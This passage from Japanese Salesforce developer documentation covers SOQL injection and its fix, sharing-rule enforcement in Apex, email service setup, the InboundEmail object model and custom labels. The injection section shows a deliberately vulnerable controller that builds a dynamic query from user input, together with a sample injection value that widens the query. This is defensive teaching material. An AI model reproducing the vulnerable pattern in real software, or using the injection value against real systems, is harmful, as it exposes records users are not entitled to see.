クションを起こす前に中間の確認ページを挿入し、ユーザがそのページを呼び出しているのか確認することで
す。その他の提案としては、組織のアイドルセッションのタイムアウトを短くする、他のサイトにアクセスす
る場合は有効なセッションからログアウトし、認証されたままそのブラウザを使用しないようにするなどで
す。
ユーザが複数の Salesforce ログインページを開いている場合、CRSF に対する Salesforce の組み込み防御策によっ
てエラーが表示される場合があります。ユーザが 1 つのタブでSalesforceにログインし、その後、別のタブでロ
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グインを試みると、「送信したページは、セッションに対して無効でした。」というエラーが表示されます。
正常にログインするには、ログインページを更新するか、ログインをもう一度試みます。

SOQL インジェクション
他のプログラミング言語では、上記の弱点を SQL インジェクションといいます。Apexでは SQL を使用しません
が、独自のデータベースクエリ言語 SOQL を使用します。SOQL は、SQL より単純で、機能が制限されています。
そのため、SOQL インジェクションのリスクは SQL と比較して大幅に低くなりますが、攻撃は従来の SQL イン
ジェクションとほぼ同じです。集計時は、SQL/SOQL インジェクションではユーザが提供した入力を取得し、こ
れらの値を動的 SOQL クエリに使用します。入力が検証されない場合、SOQL ステートメントを事実上変更する
SOQL コマンドを指定し、アプリケーションにトリックを仕掛けて意図しないコマンドを実行するようにしま
す。
SQL インジェクション攻撃の詳細は、以下を参照してください。
• http://www.owasp.org/index.php/SQL_injection

• http://www.owasp.org/index.php/Blind_SQL_Injection

• http://www.owasp.org/index.php/Guide_to_SQL_Injection

• http://www.google.com/search?q=sql+injection

Apex での SOQL インジェクションの脆弱性
以下に SOQL に対して脆弱な Apex コードおよび Visualforce の単純な例を示します。
<apex:page controller="SOQLController" >

<apex:form>
<apex:outputText value="Enter Name" />
<apex:inputText value="{!name}" />
<apex:commandButton value="Query" action="{!query}“ />

</apex:form>
</apex:page>

public class SOQLController {
public String name {

get { return name;}
set { name = value;}

}
public PageReference query() {

String qryString = 'SELECT Id FROM Contact WHERE ' +
'(IsDeleted = false and Name like \'%' + name + '%\')';

queryResult = Database.query(qryString);
return null;

}
}

これは単純な例ですが、ロジックについて説明しています。コードは、削除されていない取引先責任者の検索
を行うためのものです。ユーザは nameという入力値を指定します。値はユーザが指定する任意の値で、検証
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されません。SOQL クエリは動的に構築され、Database.query メソッドで実行されます。ユーザが正当な値
を指定すると、ステートメントは次のように期待どおり実行されます。
// User supplied value: name = Bob
// Query string
SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')

ただし、次のようにユーザが予期しない値を入力したかのようになります。
// User supplied value for name: test%') OR (Name LIKE '

この場合、クエリ文字列は次のようになります。
SELECT Id FROM Contact WHERE (IsDeleted = false AND Name LIKE '%test%') OR (Name LIKE '%')

結果には削除されていない取引先責任者だけでなく、すべての取引先責任者が表示されます。SOQL インジェ
クションにより、脆弱なクエリの対象となるロジックを変更することができます。

SOQL インジェクションの防御策
SOQL インジェクションの攻撃を回避するには、動的 SOQL クエリを使用しないようにします。代わりに、静的
クエリとバインド変数を使用します。上記の脆弱な例は、静的 SOQL を使用して次のように書き直すことがで
きます。
public class SOQLController {

public String name {
get { return name;}
set { name = value;}

}
public PageReference query() {

String queryName = '%' + name + '%';
queryResult = [SELECT Id FROM Contact WHERE

(IsDeleted = false and Name like :queryName)];
return null;

}
}

動的 SOQL を使用する必要がある場合、escapeSingleQuotesメソッドを使用して、ユーザ指定の入力を削除
します。このメソッドは、エスケープ文字 (\) をユーザから渡される文字列のすべての単一引用符に追加しま
す。このメソッドにより、すべての単一引用符を、データベースコマンドではなく、囲まれた文字列として処
理します。

データアクセスコントロール
Force.com プラットフォームは、データ共有ルールを広範囲に使用します。各オブジェクトには権限があり、
ユーザが読み取り、作成、編集、削除できる共有設定がある場合があります。これらの設定は、すべての標準
コントローラを使用する場合に強制されます。
Apexクラスを使用する場合、組み込みユーザ権限、および項目レベルのセキュリティ制限は実行時に重視され
ません。デフォルトの動作として、Apex クラスに組織内のすべてのデータを読み込み更新する機能がありま
す。これらのルールは強制されないため、Apexを使用する開発者は、ユーザ権限、項目レベルのセキュリティ、
または組織のデフォルト設定によって通常は非表示となる機密データが不注意で公開されないようにする必要
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があります。これは特に、Visualforce ページで当てはまります。たとえば、次の Apex 擬似コードについて考え
ます。
public class customController {

public void read() {
Contact contact = [SELECT id FROM Contact WHERE Name = :value];

}
}

この場合、現在ログインしているユーザにこれらのレコードを表示する権限がない場合でも、すべての取引先
責任者レコードが検索されます。解決策として、クラスを宣言する場合、修飾キーワードの with sharing

を使用します。
public with sharing class customController {

. . .
}

with sharing キーワードを使用すると、プラットフォームはすべてのレコードに完全アクセス権限を付与
するのではなく、現在ログインしているユーザのセキュリティ共有権限を使用します。

メールサービス

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

インストール済みの
AppExchange パッケージ
のメールサービスも使用
可能なエディション:
Group Edition、
Professional Edition

ユーザ権限

Apex メールサービスと
メールサービスアドレス
を作成する
• 「アプリケーションの

カスタマイズ」

Apex クラスを作成する
• 「Apex 開発」

メールサービスを使用して、受信メールの内容、ヘッダーおよび添付ファイル
を処理できます。たとえば、メッセージに含まれる取引先責任者情報に基づい
て、取引先責任者レコードを自動的に作成するメールサービスを作成できます。

メールサービスとは?

メールサービスは、Apexクラスを使用して受信メールを処理する自動化され
たプロセスです。
メールサービスアドレスの定義
メールサービスの受信メールアドレスを追加します。
メールサービスの定義
受信メールを処理するメールサービスをセットアップして、ユーザのニーズ
に応じてメッセージを処理するように設定します。
InboundEmail オブジェクトの使用
Apex メールサービスドメインが受信するすべてのメールについて、Salesforce

は、そのメールの内容と添付ファイルを含む個別の InboundEmail オブジェク
トを作成します。Messaging.InboundEmailHandler インターフェースを
実装するApexクラスを使用して、受信メールメッセージを処理できます。そ
のクラスで handleInboundEmail メソッドを使用して、InboundEmail オブ
ジェクトにアクセスし、受信メールメッセージの内容、ヘッダー、および添
付ファイルの取得と、その他多数の機能を実行することができます。
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メールサービスとは?

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

インストール済みの
AppExchange パッケージ
のメールサービスも使用
可能なエディション:
Group Edition、
Professional Edition

ユーザ権限

Apex メールサービスと
メールサービスアドレス
を作成する
• 「アプリケーションの

カスタマイズ」

Apex クラスを作成する
• 「Apex 開発」

メールサービスは、Apex クラスを使用して受信メールを処理する自動化された
プロセスです。
各メールサービスには、Salesforceが生成したメールアドレスを 1 つ以上関連付け
ることができ、ユーザはそのアドレス宛てに処理を求めるメッセージを送信で
きます。複数ユーザに 1 つのメールサービスへのアクセス権を与える手順は、
次のとおりです。
• Salesforce が生成した複数のメールアドレスをメールサービスに関連付け、こ

れらのアドレスをユーザに割り当てます。
• Salesforce が生成した単一のメールアドレスをメールサービスに関連付け、

メールサービスにアクセスするユーザに従って実行するApexクラスを記述し
ます。たとえば、ユーザのメールアドレスに基づいてユーザを識別し、その
ユーザのレコードを作成する Apex クラスを記述します。

メールサービスを使用するには、[設定] から、[クイック検索]ボックスに「メー
ルサービス」と入力し、[メールサービス] を選択します。
• 新しいメールサービスを定義するには、[新規メールサービス] をクリックし

ます。
• 既存のメールサービスを選択して、その設定の表示、有効化または無効化、

およびそのメールサービス用のアドレスの表示または指定を行います。
• 既存のメールサービスを変更するには、[編集] をクリックします。
• メールサービスを削除するには、[削除] をクリックします。

メモ: メールサービスを削除する前に、関連するメールサービスアドレ
スをすべて削除する必要があります。

メールサービスを定義するときには、次の点に注意してください。
• メールサービスは、そのアドレスの 1 つが受信したメッセージを処理するだ

けです。
• Salesforce は、[オンデマンドメール-to-ケース] など、すべてのメールサービスを合計した 1 日に処理できる

メッセージの総数を制限します。この制限を超えたメッセージは、各メールサービスの失敗時のレスポン
ス設定に基づいて、戻される、破棄される、あるいは翌日処理するためのキューに入れられます。Salesforce

では、制限値は、ユーザライセンス数 x 1,000 で算出され、最大値は 1,000,000 です。たとえば、ライセンス
数が 10 の場合、1 日最大 10,000 件のメールメッセージを処理できます。

• sandbox 内に作成したメールサービスアドレスは、本番組織にコピーできません。
• メールサービスごとに Salesforce に通知して、送信者のメールアドレスではなく、特定のアドレスにエラー

メールメッセージを送信できます。
• メールが (本文テキスト、本文 HTML および添付ファイルを合わせて) 約 10 MBを超える場合 (言語や文字セッ

トに応じて異なる)、メールサービスはメールメッセージを拒否し、送信者に通知します。
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メールサービスアドレスの定義

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

インストール済みの
AppExchange パッケージ
のメールサービスも使用
可能なエディション:
Group Edition、
Professional Edition

ユーザ権限

Apex メールサービスと
メールサービスアドレス
を作成する
• 「アプリケーションの

カスタマイズ」

Apex クラスを作成する
• 「Apex 開発」

メールサービスの受信メールアドレスを追加します。
1. [設定] から、[クイック検索] ボックスに「メールサービス」と入力し、[メー

ルサービス] を選択します。
2. アドレスを定義するメールサービスを選択します。
3. [新規メールアドレス] をクリックします。既存のメールサービスアドレス設

定を変更する場合は [編集]をクリックします。メールサービスアドレスを削
除するには、[表示] および [削除] をクリックします。

4. [メールアドレス] に、メールサービスアドレスのローカル部分を入力しま
す。Salesforce は、各メールサービスアドレスに対し、一意のドメイン部分を
生成し、メールサービスアドレスが重複することのないようにします。生成
されたドメイン部分は、[メールアドレス] 項目の右に表示されます。

ヒント: Salesforce メールアドレスのローカル部分には、すべての英数字
が使用できるほか、特殊文字「!#$%&'*/=?^_+-`{|}~」も使用できます。
Salesforceメールアドレスのドメイン部分には、英数字とハイフン (-) のみ
が使用できます。ピリオド (.) も、アドレスの最初と最後の文字でなけれ
ば、ローカル部分とドメイン部分の両方で使用できます。
Salesforce メールアドレスは、大文字小文字を区別しません。

5. [保存] をクリックしたときにメールサービスアドレスを有効化するには、
[有効] チェックボックスをオンにします。

6. [コンテキストユーザ]を選択します。メールサービスでは、このアドレスで
受信したメッセージを処理するときに、コンテキストユーザの権限を前提と
します。たとえば、メールサービスが更新された取引先責任者情報を受信し
たときに取引先責任者レコードを修正するよう設定されている場合、メール
サービスはコンテキストユーザがそのレコードの編集権限を持つ場合にのみ
レコードを修正します。

重要: そのメールサービスで設定している Apex クラスの実行権限を持つコンテキストユーザを選択し
ます。

7. 必要に応じて、メールアドレスとドメインを [許可する送信元]テキストボックスに設定して、このメール
サービスアドレスが特定の送信者からのメッセージのみを受け付けるよう設定します。複数入力する場合
は、カンマで区切ります (例: george@mycompany.com, yahoo.com, gmail.com)。[許可する送信元]テキストボック
スに値がある場合、リストにないメールアドレスやドメインからメールサービスがメッセージを受け取る
と、失敗時のレスポンス設定の[送信者が許可されていない時のアクション]で指定されているアクションを
実行します。
メールサービスですべてのメールアドレスからのメールを受信する場合は、空白のままにしておきます。

メモ: メールサービスとそのメールサービスアドレスの両方で、特定の送信元からのメッセージのみ
を受け付けるように設定している場合、両方の [許可する送信元]テキストボックスに設定している送
信元からのメッセージのみを処理します。
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8. [保存]をクリックして変更を保存するか、[保存 & 新規]をクリックして、このメールサービス用の受信メー
ルアドレスをもう 1 つ作成します。

関連トピック:

メールサービスの定義
メールサービス

メールサービスの定義

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

インストール済みの
AppExchange パッケージ
のメールサービスも使用
可能なエディション:
Group Edition、
Professional Edition

ユーザ権限

Apex メールサービスと
メールサービスアドレス
を作成する
• 「アプリケーションの

カスタマイズ」

Apex クラスを作成する
• 「Apex 開発」

受信メールを処理するメールサービスをセットアップして、ユーザのニーズに
応じてメッセージを処理するように設定します。
メールサービスを定義する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「メールサービス」と入力し、[メー

ルサービス] を選択します。
2. [新規メールサービス] をクリックします。既存のメールサービスを変更する

場合は [編集] をクリックします。
3. メールサービスの名前を指定します。
4. このメールサービスでメッセージの処理に使用する Apex クラスを選択しま

す。選択するApexクラスは、Messaging.InboundEmailHandlerインター
フェースを実装している必要があります。例:

global class myHandler implements Messaging.InboundEmailHandler {
global Messaging.InboundEmailResult handleInboundEmail(Messaging.InboundEmail

email, Messaging.InboundEnvelope envelope) {
Messaging.InboundEmailResult result = new Messaging.InboundEmailresult();

return result;
}

}
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InboundEmail オブジェクトについては、「InboundEmail オブジェクトの使用」 (ページ 6648)を参照してくださ
い。

5. メールサービスで受け付ける添付ファイルの種別を選択します。選択肢は次のとおりです。
なし

メールサービスは、メッセージを受け付けますが、添付ファイルはいずれも破棄します。
テキスト添付ファイルのみ

メールサービスは、次の種別の添付ファイルのみを受け付けます。
• text の Multipurpose Internet Mail Extension (MIME) タイプの添付ファイル。
• application/octet-stream の MIME タイプの添付ファイルと、.vcf または .vcs 拡張子で終わ

るファイル名の添付ファイル。これらはそれぞれ、text/x-vcard および text/calendar  MIME タ
イプとして保存されます。

これ以外のタイプのファイルが添付されたメッセージを受け付けますが、添付ファイルは破棄されま
す。

バイナリ添付ファイルのみ
メールサービスは、画像、音声、アプリケーション、映像ファイルなどのバイナリの添付ファイルのみ
を受け付けます。バイナリ添付ファイルの最大サイズは、添付ファイル 1 件で 5 MB です。
バイナリではないファイルが添付されたメッセージを受け付けますが、添付ファイルは破棄されます。

すべて
メールサービスは、どのようなタイプの添付ファイルでも受け付けます。

メモ: メールサービスによる添付ファイル処理を行う場合は、メールサービスが添付ファイルを受け
付け、Apex クラスを使用してその添付ファイルを処理するように設定する必要があります。
また、メールサービスは、メールメッセージに挿入された画像などのインライン添付ファイルは受け
付けられません。

6. 必要に応じて、[高度なメールセキュリティ設定] チェックボックスをオンにして、メッセージを処理する
前に送信元サーバの正当性を確認するようにメールサービスを設定します。メールサービスは、次の認証
プロトコルを使用して、送信者の正当性を確認します。
• SPF

• SenderId

• DomainKeys

送信元サーバが、こうしたプロトコルの少なくとも 1 つをパスし、エラーになるものがない場合は、メー
ルサービスはそのメールを受け付けます。サーバがプロトコルでエラーになったり、どのプロトコルもサ
ポートしていない場合、メールサービスは、[送信者が認証されない時のアクション]失敗時のレスポンス設
定で指定したアクションを実行します。

ヒント: [送信者の認証] チェックボックスをオンにする前に、メールサービスを使用する予定の送信
者が、上記認証プロトコルの少なくとも 1 つをサポートしていることを確認します。これらの認証プ
ロトコルについての詳細は、以下の Web サイトを参照してください。
• www.openspf.org

• www.microsoft.com/mscorp/safety/technologies/senderid/default.mspx
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7. メールが (本文テキスト、本文 HTML および添付ファイルを合わせて) 約 10 MBを超える場合 (言語や文字セッ
トに応じて異なる)、メールサービスはメールメッセージを拒否し、送信者に通知します。

8. テキスト添付ファイルをバイナリ添付ファイルに変換できます。
9. 必要に応じて、メールアドレスとドメインを [許可する送信元]テキストボックスに設定して、このメール

サービスが特定の送信者からのメッセージのみを受け付けるよう設定します。複数入力する場合は、カン
マで区切ります (例: george@mycompany.com, yahoo.com, gmail.com)。[許可する送信元]テキストボックスに値が
ある場合、リストにないメールアドレスやドメインからメールサービスがメッセージを受け取ると、失敗
時のレスポンス設定の[送信者が許可されていない時のアクション]で指定されているアクションを実行しま
す。
メールサービスですべてのメールアドレスからのメールを受信する場合は、空白のままにしておきます。

メモ: また、メールサービスレベルだけではなく、メールサービスアドレスレベルでも、許可するメー
ルアドレスとドメインを設定することができます。「メールサービスアドレスの定義」 (ページ6644)を
参照してください。
メールサービスとそのメールサービスアドレスの両方で、特定の送信元からのメッセージのみを受け
付けるように設定している場合、両方の [許可する送信元]テキストボックスに設定している送信元か
らのメッセージのみを処理します。

10. [保存] をクリックしたときにメールサービスを有効化するには、[有効] チェックボックスをオンにしま
す。

11. 失敗時のレスポンス設定を定義して、このメールサービスへのアクセスが以下の理由でエラーになった場
合の応答方法を決定します。
メールの処理数制限超過時のアクション

すべてのメールサービスを合わせた処理メッセージの合計数が組織の 1 日の制限値に達した場合、メー
ルサービスでメッセージをどのように処理するかを決めます。Salesforceでは、制限値は、ユーザライセ
ンス数 x 1,000 で算出され、最大値は 1,000,000 です。たとえば、ライセンス数が 10 の場合、1 日最大 10,000

件のメールメッセージを処理できます。
メールアドレス無効時のアクション

メールアドレスが無効なときに受信したメッセージを、メールサービスでどのように処理するかを決め
ます。

メールサービス無効時のアクション
メールサービス自体が無効なときに受信したメッセージを、メールサービスでどのように処理するかを
決めます。

送信者が認証されない時のアクション
[送信者の認証]チェックボックスがオンのときに、認証プロトコルでエラーになったり認証プロトコル
をサポートしていないメッセージを、メールサービスでどのように処理するかを決めます。

送信者が許可されていない時のアクション
メールサービスまたはメールサービスアドレスで、「メールサービスの定義」 テキストボックスに設定
されていない送信者から受信したメッセージを、メールサービスでどのように処理するかを決めます。

失敗時のレスポンスのオプションは次のとおりです。
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メッセージを返信
メールサービスは、却下の理由を説明する通知を付けて、メッセージを送信者またはオンデマンドメー
ル-to-ケースの[自動ケース更新ユーザ]に返します。

メッセージを破棄
メールサービスは、送信者に通知せずにメッセージを破棄します。

メッセージを再送 ([メールの処理数制限超過時のアクション] のみ)

メールサービスは、次の 24 時間以内に処理するようにメッセージをキューに入れます。メッセージが
24 時間以内に処理されない場合は、メッセージが却下された理由を説明する通知と共に、メッセージを
送信者に返します。

12. エラーメッセージを送信者のメールアドレスではなく、指定したメールアドレスに送信するには、[エラー
ルーティングの有効化]を選択し、[エラーになったメールをこのメールアドレスにルーティング]で送信先の
メールアドレスを指定します。これにより、メールサービスで受信メールを処理できない場合に送信者に
通知されなくなります。

13. [保存]をクリックして変更を保存するか、[保存 & 新規メールアドレス]をクリックして、「メールサービス
アドレスの定義」 (ページ6644)に示された手順に従って、このメールサービス用のメールアドレスを作成し
ます。

関連トピック:

メールサービスアドレスの定義
メールサービス

InboundEmail オブジェクトの使用

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Apexメールサービスドメインが受信するすべてのメールについて、Salesforceは、
そのメールの内容と添付ファイルを含む個別の InboundEmail オブジェクトを作成
します。Messaging.InboundEmailHandlerインターフェースを実装するApex

クラスを使用して、受信メールメッセージを処理できます。そのクラスで
handleInboundEmail メソッドを使用して、InboundEmail オブジェクトにアク
セスし、受信メールメッセージの内容、ヘッダー、および添付ファイルの取得
と、その他多数の機能を実行することができます。

メモ: Apexメールサービスについては、「メールサービス」 (ページ6642)を
参照してください。

例 1: 取引先責任者の ToDo の作成
受信メールアドレスに基づいて取引先責任者を検索し、新規 ToDo を作成する方法の例は次のとおりです。
global class CreateTaskEmailExample implements Messaging.InboundEmailHandler {

global Messaging.InboundEmailResult handleInboundEmail(Messaging.inboundEmail email,
Messaging.InboundEnvelope env){

// Create an InboundEmailResult object for returning the result of the
// Apex Email Service
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Messaging.InboundEmailResult result = new Messaging.InboundEmailResult();

String myPlainText= '';

// Add the email plain text into the local variable
myPlainText = email.plainTextBody;

// New Task object to be created
Task[] newTask = new Task[0];

// Try to look up any contacts based on the email from address
// If there is more than one contact with the same email address,
// an exception will be thrown and the catch statement will be called.
try {
Contact vCon = [SELECT Id, Name, Email
FROM Contact
WHERE Email = :email.fromAddress
LIMIT 1];

// Add a new Task to the contact record we just found above.
newTask.add(new Task(Description = myPlainText,

Priority = 'Normal',
Status = 'Inbound Email',
Subject = email.subject,
IsReminderSet = true,
ReminderDateTime = System.now()+1,
WhoId = vCon.Id));

// Insert the new Task
insert newTask;

System.debug('New Task Object: ' + newTask );
}
// If an exception occurs when the query accesses
// the contact record, a QueryException is called.
// The exception is written to the Apex debug log.
catch (QueryException e) {

System.debug('Query Issue: ' + e);
}

// Set the result to true. No need to send an email back to the user
// with an error message
result.success = true;

// Return the result for the Apex Email Service
return result;
}

}

例 2: メールの登録解除
顧客や見込み客にマーケティングメールを送信する会社は、受信者が登録解除するための方法を用意する必要
があります。次の例で、メールサービスで登録解除要求を処理する方法を説明します。このコードは、受信

6649

コードの使用コードを使用した Salesforce の拡張



メールの件名の「登録解除」という単語を検索します。単語が見つかると、差出人メールアドレスに一致する
すべての取引先責任者とリードを検索し、[メール送信除外] 項目 (HasOptedOutOfEmail) を True に設定しま
す。
Global class unsubscribe implements Messaging.inboundEmailHandler{

Global Messaging.InboundEmailResult handleInboundEmail(Messaging.InboundEmail email,

Messaging.InboundEnvelope env ) {

// Create an inboundEmailResult object for returning
// the result of the email service.
Messaging.InboundEmailResult result = new Messaging.InboundEmailResult();

// Create contact and lead lists to hold all the updated records.
List<Contact> lc = new List <contact>();
List<Lead> ll = new List <lead>();

// Convert the subject line to lower case so the program can match on lower case.

String mySubject = email.subject.toLowerCase();
// The search string used in the subject line.
String s = 'unsubscribe';

// Check the variable to see if the word "unsubscribe" was found in the subject
line.

Boolean unsubMe;
// Look for the word "unsubcribe" in the subject line.
// If it is found, return true; otherwise, return false.
unsubMe = mySubject.contains(s);

// If unsubscribe is found in the subject line, enter the IF statement.

if (unsubMe == true) {

try {

// Look up all contacts with a matching email address.

for (Contact c : [SELECT Id, Name, Email, HasOptedOutOfEmail
FROM Contact
WHERE Email = :env.fromAddress
AND hasOptedOutOfEmail = false
LIMIT 100]) {

// Add all the matching contacts into the list.
c.hasOptedOutOfEmail = true;
lc.add(c);

}
// Update all of the contact records.
update lc;

}
catch (System.QueryException e) {

System.debug('Contact Query Issue: ' + e);
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}

try {
// Look up all leads matching the email address.
for (Lead l : [SELECT Id, Name, Email, HasOptedOutOfEmail

FROM Lead
WHERE Email = :env.fromAddress
AND isConverted = false
AND hasOptedOutOfEmail = false
LIMIT 100]) {

// Add all the leads to the list.
l.hasOptedOutOfEmail = true;
ll.add(l);

System.debug('Lead Object: ' + l);
}
// Update all lead records in the query.
update ll;

}

catch (System.QueryException e) {
System.debug('Lead Query Issue: ' + e);

}

System.debug('Found the unsubscribe word in the subject line.');
}
else {

System.debug('No Unsuscribe word found in the subject line.' );
}
// Return True and exit.
// True confirms program is complete and no emails
// should be sent to the sender of the unsubscribe request.
result.success = true;
return result;

}
}

@isTest
private class unsubscribeTest {

// The following test methods provide adequate code coverage
// for the unsubscribe email class.
// There are two methods, one that does the testing
// with a valid "unsubcribe" in the subject line
// and one the does not contain "unsubscribe" in the
// subject line.
static testMethod void testUnsubscribe() {

// Create a new email and envelope object.
Messaging.InboundEmail email = new Messaging.InboundEmail() ;
Messaging.InboundEnvelope env = new Messaging.InboundEnvelope();

// Create a new test lead and insert it in the test method.
Lead l = new lead(firstName='John',

lastName='Smith',
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Company='Salesforce',
Email='user@acme.com',
HasOptedOutOfEmail=false);

insert l;

// Create a new test contact and insert it in the test method.
Contact c = new Contact(firstName='john',

lastName='smith',
Email='user@acme.com',
HasOptedOutOfEmail=false);

insert c;

// Test with the subject that matches the unsubscribe statement.
email.subject = 'test unsubscribe test';
env.fromAddress = 'user@acme.com';

// Call the class and test it with the data in the testMethod.
unsubscribe unsubscribeObj = new unsubscribe();
unsubscribeObj.handleInboundEmail(email, env );

}

static testMethod void testUnsubscribe2() {

// Create a new email and envelope object.
Messaging.InboundEmail email = new Messaging.InboundEmail();
Messaging.InboundEnvelope env = new Messaging.InboundEnvelope();

// Create a new test lead and insert it in the test method.
Lead l = new lead(firstName='john',

lastName='smith',
Company='Salesforce',
Email='user@acme.com',
HasOptedOutOfEmail=false);

insert l;

// Create a new test contact and insert it in the test method.
Contact c = new Contact(firstName='john',

lastName='smith',
Email='user@acme.com',
HasOptedOutOfEmail=false);

insert c;

// Test with a subject that does not contain "unsubscribe."
email.subject = 'test';
env.fromAddress = 'user@acme.com';

// Call the class and test it with the data in the test method.
unsubscribe unsubscribeObj = new unsubscribe();
unsubscribeObj.handleInboundEmail(email, env );

}
}
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InboundEmail オブジェクト
InboundEmail オブジェクトには、次の項目があります。

説明種別名前

そのメールで受信したバイナリ添付ファイルの
リスト (存在する場合)。
バイナリ添付ファイルの例としては、画像、音
声、アプリケーション、映像ファイルなどがあ
ります。

InboundEmail.BinaryAttachment[]binaryAttachments

カーボンコピー (CC) アドレスのリスト (存在す
る場合)。

String[]ccAddresses

[送信者] 項目に表示されるメールアドレス。StringfromAddress

[送信者] 項目に表示される名前 (存在する場合)。StringfromName

メールの RFC 2822 ヘッダーのリスト。具体的な
ヘッダーは次のとおりです。

InboundEmail.Header[]headers

• 送信元
• カスタムヘッダー
• メッセージ ID

• 日付

メールの HTML 版 (送信者が指定した場合)。StringhtmlBody

HTML 本文テキストを切り捨てる (true) か、そ
のままにする (false) かを示します。

BooleanhtmlBodyIsTruncated

受信メールの In-Reply-To 項目。この返信メール
の相手となるメール (親メール) を示します。親

StringinReplyTo

メールまたはメールのメッセージ ID が含まれま
す。

メッセージ ID — 受信メールの一意の ID。StringmessageId

メールのプレーンテキスト版 (送信者が指定し
た場合)。

StringplainTextBody

本文プレーンテキストを切り捨てる (true) か、
そのままにする (false) かを示します。

BooleanplainTextBodyIsTruncated

受信メールの References 項目。メールスレッド
を示します。親メールの References 項目とメッ

String[]references

セージ ID 項目、場合によっては In-Reply-To 項目
が含まれます。
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説明種別名前

reply-to ヘッダーに表示されるメールアドレス。
reply-to ヘッダーが存在しない場合、
fromAddress 項目と同じになります。

StringreplyTo

メールの件名 (存在する場合)。Stringsubject

そのメールで受信したテキスト添付ファイルの
リスト (存在する場合)。
テキスト添付ファイルは次のいずれかです。

InboundEmail.TextAttachment[]textAttachments

• textの Multipurpose Internet Mail Extension (MIME)

タイプの添付ファイル
• application/octet-streamの MIME タイ

プの添付ファイルと、.vcfまたは .vcs拡
張子で終わるファイル名の添付ファイル。
これらはそれぞれ、text/x-vcard および
text/calendar  MIME タイプとして保存さ
れます。

[宛先] 項目に表示されるメールアドレス。String[]toAddresses

InboundEmail.Header オブジェクト
InboundEmail オブジェクトは、InboundEmail.Header オブジェクトに RFC 2822 メールヘッダー情報と次の項目を格
納します。

説明種別名前

Date や Message-ID など、ヘッダーパラメータの名前。Stringname

ヘッダーの値。Stringvalue

InboundEmail.BinaryAttachment オブジェクト
InboundEmail オブジェクトは、InboundEmail.BinaryAttachment オブジェクトにバイナリ添付ファイルを格納します。
バイナリ添付ファイルの例としては、画像、音声、アプリケーション、映像ファイルなどがあります。
InboundEmail.BinaryAttachment オブジェクトには、次の項目があります。

説明種別名前

添付ファイルの本文。Blobbody

添付ファイルの名前。StringfileName

プライマリおよびサブ MIME タイプ。StringmimeTypeSubType
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InboundEmail.TextAttachment オブジェクト
InboundEmail オブジェクトは、InboundEmail.TextAttachment オブジェクトにテキスト添付ファイルを格納します。
テキスト添付ファイルは次のいずれかです。
• text の Multipurpose Internet Mail Extension (MIME) タイプの添付ファイル
• application/octet-stream の MIME タイプの添付ファイルと、.vcf または .vcs 拡張子で終わるファ

イル名の添付ファイル。これらはそれぞれ、text/x-vcardおよび text/calendar  MIME タイプとして保
存されます。

InboundEmail.TextAttachment オブジェクトには、次の項目があります。

説明種別名前

添付ファイルの本文。Stringbody

添付ファイルの本文テキストを切り捨てる (true) か、そのままに
する (false) かを示します。

BooleanbodyIsTruncated

[body] 項目の元の文字セット。body は、Apexメソッドに入力される
ときに UTF-8 でエンコードし直されます。

Stringcharset

添付ファイルの名前。StringfileName

プライマリおよびサブ MIME タイプ。StringmimeTypeSubType

InboundEmailResult オブジェクト
InboundEmailResult オブジェクトにより、メールサービスの結果が返されます。このオブジェクトが Null であれ
ば、結果は正常とみなされます。InboundEmailResult オブジェクトには、次の項目があります。

説明種別名前

メールが正常に処理されたかどうかを示す値。
false の場合は、Salesforce が受信メールを拒否し、[メッセージ]

項目で指定されているメッセージを含む返信メールを元の送信者
に送信します。

Booleansuccess

Salesforce が返信メールの本文で返すメッセージ。この項目には、
[成功]項目で返された値に関係なく、テキストを取り込むことが
できます。

Stringmessage

InboundEnvelope オブジェクト
InboundEnvelope オブジェクトには、受信メールに関連するエンベロープ情報が保管され、次の項目がありま
す。
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説明種別名前

[宛先] 項目に表示される名前 (存在する場合)。StringtoAddress

[差出人] 項目に表示される名前 (存在する場合)。StringfromAddress

関連トピック:

メールサービス
Apex コードの概要

カスタム表示ラベル

カスタム表示ラベル

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

カスタム表示ラベルを作
成、編集、または削除す
る
• 「アプリケーションの

カスタマイズ」

翻訳を作成または上書き
する
• 「翻訳の管理」

または

「設定・定義を参照す
る」、および翻訳者と
して指定されているこ
と

カスタム表示ラベルは、Apexクラス、Visualforceページ、またはLightningコンポー
ネントからアクセスできるカスタムテキスト値です。テキスト値は、Salesforce

でサポートされるすべての言語に翻訳することができます。カスタム表示ラベ
ルを使用することで、開発者は、情報 (ヘルプテキストやエラーメッセージなど)

を自動的にユーザの母国語に表示する多言語アプリケーションを作成できます。
組織では、最大5,000個のカスタム表示ラベルを作成でき、長さは最大 1,000 文字
です。管理パッケージのカスタム表示ラベルは、この制限にカウントされませ
ん。
カスタム表示ラベルにアクセスするには、[設定] から、[クイック検索] ボック
スに「カスタム表示ラベル」と入力し、[カスタム表示ラベル] を選択します。こ
のページでは、次の操作を実行できます。
• 新規のカスタム表示ラベルの作成または既存のカスタム表示ラベルの編集。
• 既存のカスタムラベルの表示。このビューページから、組織で使用される言

語で翻訳を作成または編集することができます。
アプリケーションにカスタム表示ラベルを追加する手順は、次のとおりです。
1. カスタム表示ラベルを作成します。
2. 表示ラベルのテキスト値をユーザのアプリケーションがサポートする言語に

翻訳します。
3. その表示ラベルを使用します。

• Apex では、System.Label.Label_name 構文を使用します。
• VisualforceおよびLightningコンポーネントでは、$Labelグローバル変数を

使用します。

4. アプリケーションを AppExchange にパッケージするときに、表示ラベルをア
プリケーションに組み込みます。
